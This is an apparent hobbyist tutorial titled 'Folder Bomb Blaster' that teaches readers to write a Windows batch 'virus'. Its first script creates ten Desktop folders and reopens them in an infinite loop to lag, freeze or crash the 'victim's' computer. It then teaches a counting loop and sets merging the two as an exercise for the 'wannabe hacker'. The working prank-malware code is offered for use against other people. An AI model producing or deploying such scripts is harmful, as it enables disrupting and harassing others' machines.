Folder Blaster

Folder Bomb Blaster


If You want To create a Folder Bomb you have to know somethings about a batch file And Cmd.A batch file is an unformatted text file that contains one or more commands and has a .bat or .cmd file name extension. When you type the file name at the command prompt, Cmd.exe runs the commands sequentially as they appear in the file. You can include any command in a batch file.batch file is a kind of script file in DOSOS/2 and Windows. It consists of a series of commands to be executed by the command line interpreter, stored in a plain text file. A batch file may contain any command the interpreter accepts interactively and use constructs that enable conditional branching and looping within the batch file, such as "if", "for", "goto" and labels.

Some codes that you have to know before start creating Folder Bomb


md – (or mkdir) – Make Directory. (used to create a directory)
cd – Change Directory. (used to change current Directory)

Folder Blaster virus is easy to understand.Here we are just creating a bunch of folders and opening them all at once and keeping them open effectively hogging a big portion of the screen and memory causing the windows to lag, freeze up and sometimes crash.


Steps To create a Folder Bomb


1.Create a new text file "folder.txt"


2.write the one of two code given below.

3.Once you have entered your code,you can save the file using the bacth file type.



  • Click File → Save As.
  • Click the "Save as type" dropdown menu.
  • Select "All files".
  • Enter a name for the program followed by .bat or .cmd.
  • Make sure the encoding is ANSI and save the file


So We have two Codes 
  1. Is Long 
  2. Is Short as compare to 1st method

Code 1

@echo off
cd ./Desktop
md 1
md 2
md 3
md 4
md 5
md 6
md 7
md 8
md 9
md 0
:confirm
start 1
start 2
start 3
start 4
start 5
start 6
start 7
start 8
start 9
start 0
goto confirm

So, This  we begin by turning off echo. Then we change the directory to Desktop. Now we create ten folders with names 0-9. We setup a label and start opening up all the 10 folders. Now the final statement causes an infinite loop. Of course, if the folder is already opened it will not be opened again. But the use of this infinite loop is if the user attempts to close the folder, the loop is still going on and it will send a message to open that folder again. So the victim will be stuck as every time she/he closes a folder it opens up again, eventually making them give up and restart the system.The above code can be made much shorter with the use of LOOPs, as discussed below. We start by creating a variable and setting it’s value to 0. We use this variable as a check to let the computer know when to come out of the loop. Take a look at the code first: 

Code 2

@echo off
set /a i=0
:loop
if %i%==10 goto end
echo This is iteration %i%.
set /a i=%i%+1
goto loop
:end

“set” is used to define and initialize a variable. Here we create a variable called “i” and set it’s value to zero. After setting up a label, we check if the value of the variable “i” (given by %i%) is equal to 10, and if it is we “goto” the label end (the program ends when this happens). Now we “echo” (send a message) to notify the user which iteration is currently running. In the next step we increment the value of “i” by one and then go back to the “if” statement.

So the loop runs ten times (0-9), and then stops. The above was not a virus, but a simple program. Earlier, I told you that the above Folder Blaster virus code can be made shorter by using loops. You know how to make the virus, and now you know how to use loops. Combining the two of them, I leave as an exercise for the wannabe hacker. (HINT: See the folder names up top going from 0-9 ? You can just replace them with %i% in the above loop.)


Thank You



Comments